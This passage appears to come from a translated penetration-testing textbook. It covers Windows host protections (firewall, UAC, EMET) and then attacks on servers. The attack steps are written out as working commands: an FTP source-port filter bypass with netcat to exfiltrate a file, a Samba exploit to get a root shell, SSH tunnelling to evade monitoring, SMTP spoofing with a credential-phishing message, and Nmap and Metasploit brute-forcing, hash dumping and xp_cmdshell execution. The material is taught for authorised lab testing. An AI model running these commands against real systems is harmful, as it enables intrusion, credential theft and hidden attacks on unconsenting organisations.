正如前面的截图所示,我们没有成功,所以我们需要尝试另一种方法。当我们讨论客户端测试时,我们将更详细地讨论这个问题。所以,现在我们将在这里停下来,稍后再来看这个问题。一如既往,这取决于我们已经入侵的机器的配置。我们不能保证我们能够绕过 UAC。

主机防火墙

在我们的测试中,防御中经常被忽视的一点是主机防火墙。在本章的前面,我们解释了在防火墙开启时,我们在进行漏洞扫描时会受到一定的限制。我们将继续进行测试,以便了解主机防火墙可能带来的挑战,然后看看在防火墙开启时我们可以使用哪些方法来从目标获取数据。

正如您可能记得的,根据我们的扫描方法论,我们首先寻找活动系统,然后是端口,接着是服务。从那里,我们进行枚举,识别漏洞,然后根据我们的工作范围进行利用。现在,我们需要做的是首先关闭防火墙,然后在各个定义的区域的样本上打开防火墙。我们将使用 Kali Linux 虚拟机和 Windows 7 机器作为我们测试的目标。

在您的 Windows 7 机器上,我们需要打开防火墙配置。有许多方法可以做到这一点。为了我们的目的,在这里我们将右键单击网络托盘图标,然后导航到打开网络和共享中心 | Windows 防火墙以打开防火墙配置选项。以下截图显示了一个示例:

主机防火墙

正如前面的截图所示,我们的防火墙是开启的,但只在家庭或工作(私人)网络设置上开启。这可能不是我们在实际环境中会遇到的情况;公共网络设置更有可能是开启状态,但对于我们的测试来说,这已经足够了。所以,问题是,对于最新版本的 Windows 来说,不同的区域对于防火墙设置意味着什么,与例如 Windows Server 2003 相比并不那么重要?

最新版本的 Windows 知道,如果机器的角色是客户端,那么它不应该接收任何连接。那么,我们如何查看连接设置呢?在 Windows 7 机器上以管理员命令提示符打开,并在命令行上输入以下命令:

netsh firewall show portopening

命令的示例如下截图所示:

主机防火墙

正如之前的截图所示,机器上没有任何开放的东西。同样,这是因为它是一个客户端,默认情况下,Windows 不允许任何东西与客户端通信。这可以通过查看 Windows 机器上的推荐设置来发现。这的一个示例如下截图所示:

主机防火墙

现在我们对 Windows 防火墙规则有了更好的理解,是时候进行我们的方法论了。使用你的 Kali Linux 机器,扫描 Windows 7 机器。你应该执行方法论的步骤,然后查看有无防火墙的结果。对没有防火墙的机器进行 Nmap 的枚举扫描的示例如下截图所示:

主机防火墙

现在我们有了一个显示关于我们目标的大量信息的结果,我们将打开防火墙,看看 Nmap 工具或者更确切地说,Nmap 脚本引擎是否能检测到来自受防火墙保护目标的任何东西。你可以使用命令行来启用防火墙。在命令提示符窗口中,输入netsh firewall set opmode enable来启用防火墙。针对受防火墙保护的机器进行扫描的结果示例如下截图所示:

主机防火墙

正如之前的截图所示,防火墙可能会给我们的测试带来挑战。事实上,对于 Windows 7,默认情况下,真的没有任何入站允许的东西,这显示了安全哲学的变化。好消息是,某些东西将需要访问,因此管理员会打开某些东西或允许某些程序访问。要查看命令行中允许的程序,输入以下命令:

netsh firewall show allowedprogram

我们已经看过了 Windows 7 防火墙,这是客户端的一个表示,但服务器呢?我们将以 Windows 2003 服务器进行比较。Windows Server 2003 中的命令是相同的。如果服务器设置为独立服务器,那么你将看到与我们之前发现的类似的结果。然而,很少见到没有某种形式服务的服务器,最常见的是文件共享服务,许多服务器允许共享信息。启用文件共享的 Windows Server 2003 的示例如下截图所示:

主机防火墙

现在我们已经看过了如果一个站点使用 Windows 的内置防火墙所采取的保护措施,正如我们发现的那样,这可能会在测试中提出挑战。

端点保护

我们要看的下一个保护类型是端点保护。我们之前看过一个例子,所以这里我们只会简要介绍一下这个主题。要记住的重要事情是所有这些保护通常都有一些必须允许通过的东西,在测试中,我们的任务是尝试发现这一点并揭示弱点。我们看了 Symantec 工具,并发现如果我们使用一个带有签名的标准有效负载,那么很可能会被检测到。如果我们在受保护的机器上获得了 shell,那么只需要识别服务然后终止它。只要我们选择 Meterpreter 作为有效负载,这一切都可以使用 metasploit 工具完成。

增强的缓解体验工具

在撰写本书时,微软提供的增强缓解体验工具(EMET)工具可能是您在机器上遇到的最棘手的工具之一。这种保护的部署仍处于起步阶段,但如果您在测试中遇到它,可能会非常具有挑战性。这也是微软开始支持“漏洞赏金”概念的原因,他们将支付在其最新操作系统中发现的软件漏洞。

在撰写本书时,EMET 的当前版本是 4.0。如果您遇到受 EMET 保护的机器,您将不得不想出自定义有效载荷以及其他方法来尝试绕过它,但祝您好运!随着 EMET 的迭代不断成熟,要绕过它将变得越来越困难。目标是在获得访问权限后停止 EMET 进程,然后进行攻击;否则,使用自定义有效载荷,并希望您可以绕过 EMET 保护。

以下是我笔记本电脑上 EMET 配置的一个示例:

增强缓解体验工具

正如前面的截图所示,在这个配置中,已经有三个应用程序被添加到 EMET 工具中。这些应用程序将在一个 shimmed 环境中运行,以防止它们被 compromise。EMET 工具还有许多已经设置好的应用程序进行监控。

以下是一些示例,显示了其中一些:

增强缓解体验工具

您还可以添加需要受 EMET 工具保护的应用程序。要查看用户添加了哪些应用程序,您可以在命令提示符窗口中输入以下内容:

C:\Program Files (x86)\EMET\EMET_conf --list

这个命令将显示已添加并当前受到 EMET 工具保护的应用程序。以下是一个示例:

增强缓解体验工具

正如前面的截图所示,这台机器正在使用 EMET 工具保护 Adobe Acrobat、Internet Explorer 和 Skype。如果您在测试中遇到 EMET,您的成功将取决于管理员如何配置它。

总结

在本章中,我们讨论了测试平面和内部网络的过程。我们发现这意味着我们不必穿过过滤器或层来攻击目标。虽然这是一件好事,但我们也讨论了这些机器将有一些保护措施。我们还回顾了漏洞扫描器在内部测试中的作用。

在介绍了不同的基于主机的保护措施后,我们更详细地研究了它们,并在某些情况下尝试了许多不同的技术来绕过我们可能遇到的主机上的不同保护。具体来说,我们查看了主机防火墙和 UAC 设置以及它们对测试结果的影响。

当我们查看了主机防火墙和 UAC 后,我们继续简要地查看了可能挑战我们测试的其他端点保护。

最后,我们通过查看 EMET 工具可能对我们的测试提出的挑战来结束了本章。

本章到此结束。您现在已经审查了在测试平面和内部网络时可能面临的一些挑战。接下来,我们将看看在评估服务器和服务的弱点时的测试方法。

第十一章:攻击服务器

在本章中,我们将确定我们用来攻击服务和服务器的方法。好消息是,我们知道服务器必须运行服务,并且更重要的是,必须将套接字处于监听状态,准备接受连接。此外,这意味着服务器只需坐在那里等待我们来攻击它。这对我们来说是好事,因为我们已经在第九章中涵盖了这一点,评估 Web 服务器和 Web 应用程序。我们将看到的最常见的攻击向量是运行在 Web 服务器上的 Web 应用程序。我们不打算在这里再次涵盖这一点;相反,我们将专注于我们可以攻击的其他服务器平台上的其他事物。在本章中,我们将讨论以下主题:

  • 服务器的常见协议和应用程序

  • 数据库评估

  • 操作系统平台特定

本章将为我们提供有关我们在测试时可以针对的服务器的信息。由于目标是服务器,我们可能会通过操作系统漏洞或缺陷来获取访问权限。不幸的是,这种情况变得越来越少见。微软和其他供应商已经做了他们的功课,对操作系统的攻击向量并没有消失,但可以认为它们处于生命支持状态。因此,我们希望专注于运行在服务器上的协议和应用程序,因为它们通常会为我们提供成功攻击的最佳机会。

服务器的常见协议和应用程序

在本节中,我们将看一些通常在服务器上找到的常见协议和应用程序。

网络

再次强调,尽管我们已经涵盖了这一点,但它仍然是服务器上最常见的应用程序之一,因此也是我们潜在的攻击向量之一。在涉及到 Web 应用程序时,由于应用程序编码中的常见错误,我们有更多潜在的攻击领域。

文件传输协议

文件传输协议FTP)已经存在很长时间了。在本节中,我们将使用一种高级的 FTP 方法,当您遇到不允许标准 FTP 客户端/服务器通信工作的环境时可以使用。关于协议的信息的一个很好的参考是 Network Sorcery 网站;您可以在www.networksorcery.com找到它。这里有大量的参考信息;我们想要专注的领域是RFC Sourcebook | Protocols。以下是此页面的示例屏幕截图:

文件传输协议

RFC 协议(裁剪的文本不重要)

当您查看网站时,您会发现顶部有一个按字母顺序排列的菜单栏。这是我们想要选择我们在进行专业安全测试时可能遇到的协议的地方。我们想要查看 FTP 信息。导航到F | FTP以打开包含有关 FTP 信息的页面。以下是此示例的屏幕截图:

文件传输协议

屏幕显示包含有关 FTP 信息的页面(裁剪的文本不重要)

当我们进行测试时,通常为时已晚以获取我们可能需要的某些协议的详细知识;这就是 RFC Sourcebook 可以帮助我们的地方。这个网站很有用,因为它还提供了协议数据包头信息。单击IP以显示头部。以下是头部的示例屏幕截图:

文件传输协议

协议研究

在研究协议时,你可以发现很多东西;然而,要能够做到这一点,我们需要了解协议的行为方式。这就是我们在研究协议时想要做的事情;此外,我们想知道如何利用 FTP。由于大多数客户端,如果不是所有的话,都在机器上有一个 FTP 客户端,这是一个很好的传输文件的方式。例如,如果我们发现了我们在第七章中讨论的弱过滤器,我们通常会这样做,设备评估。在我们能够做到这一点之前,我们需要更多地了解 FTP 以及它是如何创建连接的。我们将为您节省一些时间并提供一个示例;然而,我们鼓励您研究该协议以了解更多可以使用的技巧。

注意

你需要知道的主要事情是 FTP 端口命令通过逗号而不是我们通常使用的小数点来识别 IP 地址。

此外,它使用字节模式系统,端口以 Base 256 格式表示。因此,要连接到 IP 地址192.168.177.10的端口1024,命令如下:

port 192,168,177,10,4,0

这是一个端口的分解,端口由4x256=1024表示。再次强调,当我们遇到常见的 FTP 协议时,了解这些是很有用的,它位于一个由弱过滤规则保护的 DMZ 中。

这最好用一个例子来表示。你需要一台机器作为过滤器;你可以使用我们在本书中之前创建的Dynamips机器或IP Tables机器。然后,你需要一台作为内部机器的机器,它将运行 FTP 服务器。我们将在本书中使用 Windows 7 机器,但它可以是任何具有运行 FTP 服务器能力的机器。然后,我们需要一台作为外部机器的机器,从外部发送流量。你需要在过滤设备的两侧创建路由。此外,创建允许 FTP 流量和返回流量的规则。请记住,返回流量的源端口将是 20。一旦你建立了所需的架构,只是一个通过命令来工作的问题。我们将使用 Kali Linux 机器发送命令并运行netcat;我们将使用受保护机器上的 3com FTP 服务器。

正如我们之前提到的,对于路由器和无状态过滤器来说,管理员通常允许诸如 FTP 之类的协议的返回流量,正如我们所展示的,我们可以利用这一点来绕过已经设置的过滤器。此外,我们可以利用我们对 FTP 行为方式和与 FTP 服务器交互所使用的命令的知识。

一旦我们建立了我们的环境,我们需要做的第一件事就是启动我们的 FTP 服务器。一旦服务器启动,我们需要使用来自源端口 20 的能力从 Kali Linux 机器连接到它。在 Kali Linux 的终端窗口中,输入以下命令:

enter nc –p 20 <IP Address of the server> 21

这将连接到位于过滤设备内部的 FTP 服务器。下面的截图显示了一个示例:

协议研究

正如前面的截图所示,我们成功的一个很好的指示是我们看到了服务器的横幅。这是一个常见的配置,当内部机器被允许连接到外部 FTP 服务器时,服务器将从源端口 20 发送数据。然后,允许此连接的规则在过滤设备中;因此,通过从这个端口发送数据,我们可以渗透到一个弱过滤器中。我们使用内部的 FTP 服务器来证明这一点。我们本可以选择机器上的任何开放端口来展示这一点。现在我们需要登录服务器,很可能anonymous将被启用。因此,将用户输入为anonymous,一旦看到用户的确认,输入密码为password123

一旦收到用户已登录的确认,您可以输入help以查看命令。从可用的 FTP 命令中,我们想要使用的是nlst命令,它将为我们提供所在目录的列表。在 FTP 登录窗口中,输入nlst以列出目录。您成功了吗?答案是否定的!这是因为要使其工作,程序必须知道客户端正在侦听的端口,以便将数据发送到该端口。为了设置这一点,我们需要打开另一个窗口,以便可以获取连接返回的数据。当您打开另一个终端窗口时,可以将它们排列在一起,以便同时看到它们。在新窗口中,输入以下命令:

nc –l –p 2048

这将在 Kali Linux 机器上打开一个端口,用于接收来自服务器的数据。一旦端口处于侦听状态,我们需要告诉服务器将数据发送到哪个端口,我们使用port命令来做到这一点:

port <IP address separated by commas> 8,0 

这将通知服务器将数据发送到端口 2048。数据发送后,您输入nlst命令。这将显示服务器上列出的目录。以下屏幕截图显示了一个示例:

协议研究

正如前面的屏幕截图所示,我们在服务器上有一个名为account.txt的文件。我们现在将使用 FTP 服务器将文件发送给我们。我们希望将接收到的数据输出到一个文件中;我们将使用输出重定向(>)运算符来实现这一点。这个过程与之前的一样。在带有netcat工具的窗口中,输入以下命令:

nc –l –p 2048 > trophy.txt.

我们现在准备运行命令序列。输入与我们之前输入到端口命令相同的命令。一旦输入了端口命令,我们需要获取文件。我们通过输入retr accounts.txt来实现这一点。以下屏幕截图显示了一个示例:

协议研究

正如前面的屏幕截图所示,我们已经将文件传输到我们的 Kali Linux 机器上。为了验证这一点,我们输入trophy.txt。结果如下屏幕截图所示:

协议研究

正如前面的屏幕截图所示,我们已成功传输了一个文件。重要的是要记住,这可以是任何文件。要求是找到弱过滤规则,然后利用它为我们谋利。

我们已经讨论了如何识别漏洞以及进行这方面的许多资源,这在整本书中都有提到。FTP 服务器是一种软件,因此也存在漏洞。事实上,我们使用的 FTP 服务器版本 3com Daemon 确实存在一个可利用的漏洞。但是,由于这是我们的测试实验室,我们在很大程度上控制着我们的机器以及在这些机器上运行的应用程序。

我们可以访问 Exploit DB 网站(www.exploit-db.com)来查看我们所指的内容。一旦我们在网站上,我们搜索在端口 21 上运行的所有漏洞。以下屏幕截图显示了搜索结果的示例:

协议研究

安全外壳

安全外壳SSH)协议非常常见,所以在测试时很可能会遇到。我们应用于 FTP 的技术在某些情况下也可以应用于 SSH;这取决于管理员如何配置对 SSH 服务器的访问。我们不会在这里专注于此,因为我们已经涵盖了关于 FTP 的过程和步骤。

那么,SSH 协议是什么?它最初是作为 Telnet 协议明文弱点的替代品而设计的。了解更多关于该协议的方法是访问 Network Sorcery 网站。

SSH 的解释示例如下屏幕截图所示:

安全外壳

现在我们对 SSH 协议有了一个简要的了解,让我们来看看与之相关的漏洞。如果我们回到我们的 Exploit DB 并搜索 SSH 的端口,即 22,我们可以查看协议本身的漏洞。这次搜索的结果的一个例子如下截图所示:

安全外壳

我们的搜索结果返回了一些漏洞利用;然而,这次搜索并没有返回最新版本的漏洞。起初,我们会说这使得我们今天很难找到一个可以用来攻击网站的漏洞。在许多环境中,我们发现并继续发现 SSH 协议的旧版本,所以未来不要排除使用它。

SSH 协议的另一个好处是,它的强度取决于管理员的配置。如果管理员允许存在弱密码,那么我们仍然有机会使用 SSH 协议获得访问权限。这带我们来到一个非常重要的观点,那就是,我们并不总是必须利用漏洞才能进入系统!我们可以使用其他方法访问机器,所以并不总是必须找到一个漏洞。此外,漏洞的验证或利用必须根据工作范围来允许。

我们可以做的一个强大的事情是使用 SSH 来掩盖我们的存在并使客户网络的监控失效。由于 SSH 是加密的,我们可以利用它来远程执行命令一旦我们利用了一台机器。在这个演示中,我们将使用 Kioptrix 虚拟机。过程将是利用它,然后破解密码并使用它通过 SSH 登录到机器,然后在加密隧道中执行我们的命令。我们将一直运行 Wireshark,这样我们可以看到受害者的网络监控系统会看到什么。

正如我们之前发现的,我们知道我们有一个易受攻击的 Samba 版本,所以我们将使用它作为我们的初始攻击向量。我们可以使用 metasploit 或者来自 exploit 数据库的代码。我们需要运行 Wireshark 并查看我们攻击时能看到什么。在书中的例子中,我们将使用代码而不是 metasploit。我们决定使用这个是因为 metasploit Meterpreter shell 很棒,但如果我们没有 Windows 机器,那么我们的 shell 选择就有限了。为了提醒你,我们使用的是 C 文件10.c,我们已经将其编译成了sambaexp的名称,所以我们想要运行./sambaexp命令来看如何使用这个工具。记住,你必须在程序的目录中才能执行该命令。这个结果的一个例子如下截图所示:

安全外壳

在终端窗口中,我们需要输入以下命令:

./sambaexp –b 0 –v <IP address of the target>

这个命令应该会在机器上获取 shell,一旦你做到了这一点,你就可以复制密码文件并破解密码。或者,你可以创建一个用户或者更改 root 密码。你选择哪一个取决于你。下面的截图显示了一个被利用的机器的例子:

安全外壳

我们现在在机器上有了 root 用户,但问题是我们正在通过网络进行,所以任何监控系统都会看到我们的操作。我们可以输入一些命令,然后在 Wireshark 中查看信息。输入/sbin/ifconfig来查看 IP 信息。然后,输入nmap来看看我们是否幸运地管理员已经在机器上安装了 Nmap。这个命令的一个例子如下截图所示:

安全外壳

输入 nmap 后出现的屏幕(裁剪的文本不重要)

正如前面的截图所示,我们很幸运;嗯,并不是那么幸运,因为这是一个非常旧的 Nmap 版本。不过,我们的活动呢?我们被注意到了吗?Wireshark 捕获了什么?可以想象,我们所做的大部分事情都是明文的;因此,Wireshark 会显示我们的活动。以下截图显示了一个例子:

安全外壳

正如前面的截图所示,我们截取了我们的通信,监视设备会知道我们在做什么。由于我们在机器上有 Nmap 工具,我们可以用它运行命令。但是,如果有人查看网络流量,我们会再次被发现;因此,最好使用隧道,我们现在就这样做。

在本书的示例中,我们已将受损机器上的 root 密码更改为password。要通过 SSH 连接,我们输入ssh root@192.168.177.148。以下截图显示了这个示例:

安全外壳

正如前面的截图所示,我们登录到了 root 账户。一旦我们进入,我们进行了一个 Nmap 扫描。这都很好,但我们想知道的是我们的网络流量对我们潜在客户的监视设备揭示了什么。以下截图显示了 Wireshark 信息的示例:

安全外壳

我们的网络流量显示了握手过程,其中包含了不同算法的明文信息以及客户端和服务器的横幅。一旦握手完成,其余数据就被加密了,因此我们无法看到在我们的隧道中发生了什么;这正是我们的目标。很多类型的架构都经常使用 SSH,如果我们攻击了一台机器并执行后期利用任务而不被监视,我们就可以利用这一点。

邮件

我们想讨论的下一个服务是邮件。这是我们可以指望在客户端服务器上找到的服务之一。我们面临的第一个挑战之一是正在使用的邮件服务器类型。一旦我们确定了这一点,我们就可以开始寻找攻击它的方法,或者至少在测试时利用它。我们遇到的大多数服务器将运行简单邮件传输协议SMTP),这是一件容易确定的事情。SMTP 运行的端口是 25,但管理员可以更改这一点,而且经常这样做。因此,要找到返回的横幅以发现服务运行的位置。

我们可以使用我们之前使用的相同技术,并在 Exploit DB 中搜索,看看是否可能有某种利用。以下截图显示了对 SMTP 利用的搜索示例:

邮件

正如前面的截图所示,我们在 SMTP 服务的利用部门实际上并没有什么最新的内容。这只是我们在测试中可能遇到的邮件类型之一,所以让我们再探索另一种类型,看看我们是否能有更多的运气。我们将查看运行在端口 110 上的邮局协议POP)的服务的利用搜索的示例如下截图所示:

邮件

我们在这里并没有太多运气,这就是搜索利用的现实。所有系统和服务都会有漏洞,但并非所有漏洞都会有利用。我们还有一种邮件类型可以寻找,那就是运行在端口 143 上的互联网消息访问协议IMAP)。以下截图显示了对利用的搜索示例:

邮件

嗯,我们在邮件服务的利用上没有取得任何进展,那么现在该怎么办呢?放弃吗?还没有!我们可以在 SMTP 中与邮件服务器交互,可能发送一封电子邮件。只要社会工程学是我们工作范围的一部分,这是可能的。你可以连接到端口 25 并发送电子邮件。多年前,你可以以任何你选择的用户身份发送电子邮件。以英国女王或美国总统的名义发送电子邮件是很有趣的。这是因为可以手动连接端口 25,并输入邮件服务器发送邮件时使用的命令。在 2000 年,这种邮件欺骗攻击被用来攻击 Emulex 公司,散布关于该公司的虚假信息。这直接影响了股价,并导致公司损失超过 20 亿美元,直到发现这是一封欺骗和非法的电子邮件。由于 Emulex 攻击后可用的中继站很少,你仍然需要对其进行测试。此外,我可以通过连接到端口 25 以合法用户的身份发送电子邮件。这通常被称为 SMTP 中继。步骤如下:

  1. telnet 25

  2. mail from: kevin@company.com

  3. rcpt to: victim@spoofed.com

  4. 数据

  5. 主题:IT 部门的消息

  6. 你好,这是 IT 部门,请发送一封电子邮件,附上您的用户名和密码,以访问 XYZ 项目文件。谢谢。

  7. (这是一个单独一行的句号,表示数据结束)

这是手动连接和发送电子邮件的过程。再次强调,大多数组织会阻止这样做,但值得一试。此外,在内部测试中,你可能会更成功。以下是一个失败的尝试示例:

Mail

正如前面的截图所示,第一个rcpt to是发送到一个错误的电子邮件地址,并立即被拒绝,显示中继不被允许的消息。这是因为一段时间前通过 Emulex 攻击以及其他攻击所学到的教训。在今天的环境中,这很可能不会奏效,但总有机会。

数据库评估

我们正在测试我们想要视为有价值资产的东西之一:我们客户的数据库。这是公司通常拥有大部分数据的地方,如果泄露,可能会给公司造成巨大的损失。有许多不同的数据库。我们将只集中在其中的三个:Microsoft SQL (MSSQL), MySQL, 和 Oracle

MSSQL

多年来,MSSQL 数据库为我们提供了许多漏洞,但随着数据库版本的成熟,漏洞大大减少。我们将首先搜索在 Exploit DB 网站上是否能找到任何 MSSQL 数据库利用。搜索结果如下截图所示:

MSSQL

正如前面的截图所示,我们没有太多针对 MSSQL 数据库的利用选择,但我们有一个针对 Symantec Endpoint Protection Manager 的有趣利用。然而,这不是针对 MSSQL 的,所以我们将把这留作作业,供那些想要追求的人。有趣的是,它通过 SQL 注入等方式攻击终端保护系统。

由于在搜索利用数据库时我们并没有发现太多东西,我们将把注意力转向我们在遇到 MSSQL 目标时使用的过程。与所有测试一样,要遵循的顺序与我们在整本书中讨论过的方法论非常相似。我们将使用的第一种方法是我们 Kali Linux 发行版中的 Nmap 工具。你需要一个 SQL Server 作为目标。如果你没有,你可以从微软网站上下载软件。请记住,你安装的版本越新,你就需要更改设置,使其更易受攻击。打开一个终端窗口,输入nmap –p 1433 --script ms-sql-info <target>。这个命令的结果示例如下截图所示:

MSSQL

正如前面的截图所示,我们有一个旧版本的 SQL Server,这应该会让我们的工作更容易。一旦我们获得了数据库的信息,我们需要看看是否能确定管理账户的密码,这个账户是 MSSQL 中的 SA 账户。我们在 Nmap 中有一个脚本,可以进行暴力破解尝试来找到密码。在终端窗口中,输入nmap –p 1433 --script ms-sql-brute 192.168.177.149来确定密码。

尝试的示例如下截图所示:

MSSQL

不幸的是,我们的尝试失败了,在这种情况下,我们无法破解 SA 密码。通常,密码将是默认的,即<blank>。由于我们在这方面失败了,我们将在尝试从这个数据库中提取更多数据时面临更多挑战。由于我们控制着目标,我们可以创建一个具有默认或已知密码的目标,以便我们可以继续我们的测试。如果我们确实获得了 SA 账户的凭据,我们可以尝试转储密码哈希。要做到这一点,在 Kali 的终端窗口中输入nmap –p 1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>。这个命令的示例如下截图所示:

MSSQL

我们想要探索的是 SQL Server 中的存储过程。由于我们已经确定了凭据是默认的,我们可以在服务器上执行命令。在终端窗口中,输入nmap –p 1433 --script ms-sql-xp-cmdshell,ms-sql-empty-password -p 1433 192.168.177.149来在服务器上运行命令。默认情况下,命令将是ipconfig /all,但如果你想运行其他命令,可以进行更改。重要的是要注意,这个命令行访问与在服务器上打开命令提示符窗口是一样的。

这个命令的部分输出示例如下截图所示:

MSSQL

现在我们几乎完全可以访问这台机器。当然,它正在运行 SQL Server 2000;但是,如果它正在运行 SQL Server 2005 呢?我们现在将看一下一个 Windows Server 2003 机器。要记住的主要事情是,对于 SQL Server 2005,这些存储过程默认是禁用的,管理员必须启用它们。此外,SA 密码必须保持默认,因此当你遇到 Server 2005 时,你可能无法像在 SQL Server 2000 配置中那样获得信息。此外,如果密码无法确定,你将无法执行命令。下面的截图示例显示了 SQL Server 2000 未配置默认密码的情况:

MSSQL

到目前为止,我们只使用了 Nmap 中的脚本功能。我们还可以在 metasploit 中进行数据库测试。在终端窗口中输入msfconsole启动 metasploit 工具。一旦 metasploit 工具启动,输入use auxiliary/scanner/mssql/mssql_ping,然后设置RHOSTS并运行模块。模块的输出示例如下截图所示:

MSSQL

我们现在已经了解了数据库服务器的信息以及正在运行的 SQL 版本。接下来我们需要做的是查看 SQL Server 的配置。在 metasploit 窗口中,输入use auxiliary/scanner/mssql/mssql_login,设置RHOSTS,然后运行命令。这个命令的输出示例如下截图所示:

MSSQL

现在我们已经有足够的关于我们的目标、它正在运行的数据库以及数据库的配置的信息。是时候尝试使用 metasploit 对数据库进行枚举了。在 metasploit 窗口中,输入use auxiliary/admin/mssql/mssql_enum来枚举有关数据库的信息。这个命令的输出非常广泛。

这个命令的输出的第一部分示例如下截图所示:

MSSQL

正如前面的截图所示,我们已经能够确定了许多配置参数,并且知道了已创建的数据库的名称。输出的另一部分示例如下截图所示:

MSSQL

我们现在有了管理员登录和数据库配置允许的存储过程的列表。这里只显示了部分列表,但是建议您查看在 MSSQL 数据库中可以找到的所有可能的存储过程。

正如你所期望的,我们有能力使用这些存储过程执行命令,就像我们在 Nmap 中所做的一样。我们现在就来做这个。在终端窗口中,输入use auxiliary/admin/mssql/mssql_exec来访问模块。一旦进入模块,输入set CMD 'dir'来显示机器上的目录。请记住,这是一个具有系统权限的命令行,因此唯一的限制就是你的想象力。这个命令的输出示例如下截图所示:

MSSQL

MySQL

接下来我们将看一下 MySQL 数据库,这是一个免费开源的数据库。和之前一样,我们将从 Exploit DB 网站开始搜索,看看在这个数据库方面可能有哪些利用程序。以下截图显示了搜索结果的一个示例:

MySQL

正如前面的截图所示,我们有许多关于 MySQL 的漏洞,针对这些漏洞已经有了利用程序。现在,我们将继续使用识别和枚举 MySQL 数据库中的信息的方法。

我们首先需要一个 MySQL 数据库来进行操作,所以我们可以使用我们的 CentOS 虚拟机。要安装数据库,输入yum install mysql-server mysql。安装完成后,需要进行检查。输入chkconfig mysqld on,一旦完成,输入/etc/init.d/mysqld start来启动数据库。

这是我们进行测试所需要做的。我们将使用 Nmap,就像我们在之前的部分中所做的一样,针对数据库进行操作。我们将输入的第一个命令是利用数据库已经设置了默认设置这一事实,因此根帐户没有密码。在 Kali 上的终端窗口中,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。这个命令的结果示例如下截图所示:

MySQL

如前面的截图所示,这个版本的 MySQL 不允许连接。这是默认安装配置的更改。我们有几个选项。我们可以尝试在没有密码的情况下进行枚举;这可能不会让我们走得很远。此外,我们可以设置密码并配置数据库,看看我们能发现什么;但是,为了节省时间,我们将使用 metasploitable 虚拟机。我们只需要启动 MySQL 服务器。在 metasploitable 虚拟机终端窗口中,输入sudo /etc/init.d/mysql start。提示时,输入所需的密码。返回到您的 Kali 机器,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。此命令的输出示例如下截图所示:

MySQL

现在我们有了空密码的 MySQL 数据库,我们可以继续探索 Nmap 中的不同命令。在 Kali 终端窗口中,输入nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <target>来枚举数据库中的用户。此命令的输出示例如下截图所示:

MySQL

metasploit 工具还有许多针对 MySQL 数据库的模块。我们在这里不会探索它们,因为它与我们在查看 MSSQL 数据库时涵盖的过程非常相似。我们已经涵盖了这个过程,因此鼓励您自行探索。

甲骨文

这是我们可能会遇到的最流行的数据库之一。Oracle 数据库在从小型到大型企业中被广泛使用。因此,在测试时很可能会遇到它;因此,我们需要查看一些测试它的技术。该产品是商业产品,但他们提供了一个您可以免费使用的 express 版本。您可以从 Oracle 网站下载它,但您需要注册。

互联网上有很多参考资料,可以帮助您设置 Oracle,可以查看 Oracle 自己发布的文档;请参阅docs.oracle.com/html/B13669_01/toc.htm。一旦您设置好了 Oracle 盒子,我们可以尝试多种技术来提取信息并进行测试。

版本 9 之后的 Oracle 数据库开始保护数据库中的信息。我们需要做的第一件事是确定 Oracle 数据库的 SID。我们将尝试使用 metasploit 模块来进行此操作。在 metasploit 终端窗口中,输入use auxiliary/scanner/oracle/sid_enum进入模块。一旦进入模块,您需要设置RHOSTS的值,然后输入run。此命令的输出示例如下截图所示:

Oracle

如前面的截图所示,如果遇到新于 v9 的 Oracle 数据库,则 SID 受到保护。我们可以运行暴力破解攻击来确定 SIDs。还要注意一点,有一些默认值。安装 Oracle 数据库时,您可以在那里查看默认的 SID。要尝试暴力破解 SIDs,请在 metasploit 终端窗口中输入use auxiliary/admin/oracle/sid_brute进入模块。设置 RHOST,然后运行模块。此模块的输出示例如下截图所示:

Oracle

如前面的截图所示,我们现在有一些 SID 可以参考。由于我们安装的是 Express Edition 安装包,很高兴看到有一个默认的 SID 为 XE。

接下来我们可以尝试暴力破解数据库账户的密码。我们可以使用 metasploit 中的另一个模块来实现这一点。在 metasploit 窗口中,输入use auxiliary/scanner/oracle/oracle_login进入模块。一旦进入模块,你需要设置RHOSTS值和RPORTS值。Oracle 的默认端口是 1521,所以你很可能会设置这个端口。这个命令的部分输出示例如下截图所示:

Oracle

正如前面的截图所示,我们现在已经锁定了所有账户。这总是尝试暴力破解时的危险,但至少我们是在我们的测试实验室中进行的,而不是在客户的实时数据库中进行的。

操作系统平台的具体情况

由于本章我们正在研究服务器,所以我们想看一下在测试服务器时可能遇到的一些平台特性。

Windows legacy

这些是较旧的 Windows 服务器,即 Windows 2000 和 Windows Server 2003。尽管 Windows 2000 服务器已经存在多年,但在测试时发现它并不罕见。特别是在测试监控和数据采集SCADA)系统时,发现这种情况非常普遍。在 SCADA 网络上经常看到这些系统。

确定我们可以针对这个平台做些什么的一个好方法是返回到我们的 Exploit DB 并搜索漏洞。搜索结果的示例如下截图所示:

Windows legacy

正如前面的截图所示,我们有一些可用的漏洞利用,但随着操作系统变得过时,我们在数据库中真的没有那么多。我们也可以在互联网上搜索。Windows Server 2003 平台存在一些我们可以利用的漏洞。我们已经介绍了一些方法,所以当你遇到这些机器时,你可以使用这些技术来发现潜在的漏洞。

Windows Server 2008 和 2012

Windows Server 2008 和 2012 服务器代表了微软安全的不同方法,因此在很大程度上已被证明是难以攻击的目标,特别是 64 位版本。事实上,在撰写本书时,64 位漏洞利用并不多。在 Exploit DB 中搜索 64 位漏洞利用的示例如下截图所示:

Windows Server 2008 and 2012

正如前面的截图所示,在 Exploit DB 中搜索 64 位漏洞利用时,只返回了六个结果。这很好地表明了当涉及编写漏洞利用代码时,最新版本的 Microsoft 提供了挑战;因此,攻击这些操作系统的更常见方法是通过配置错误或在机器上运行的应用程序。

Unix

在测试时可能会遇到一些 Unix 服务器,但当你搜索它们时,你不会找到很多漏洞利用。这部分是因为最受攻击的平台是 Windows,因此没有很多人攻击 Unix。此外,商业 Unix 提供商并不多。仍然有Solaris,所以我们可以搜索 Solaris 漏洞利用。

这次搜索的结果示例如下截图所示:

Unix

Linux

Linux 操作系统的受欢迎程度不断增加,随之而来的是发现的漏洞数量也在增加。今天有很多 Linux 发行版,当你进行测试时,有可能会遇到各种发行版。Exploit DB 网站的搜索如下截图所示:

Linux

正如前面的截图所示,2014 年有许多可用的漏洞利用,因此漏洞利用作者继续探索 Linux 代码的弱点。

MAC

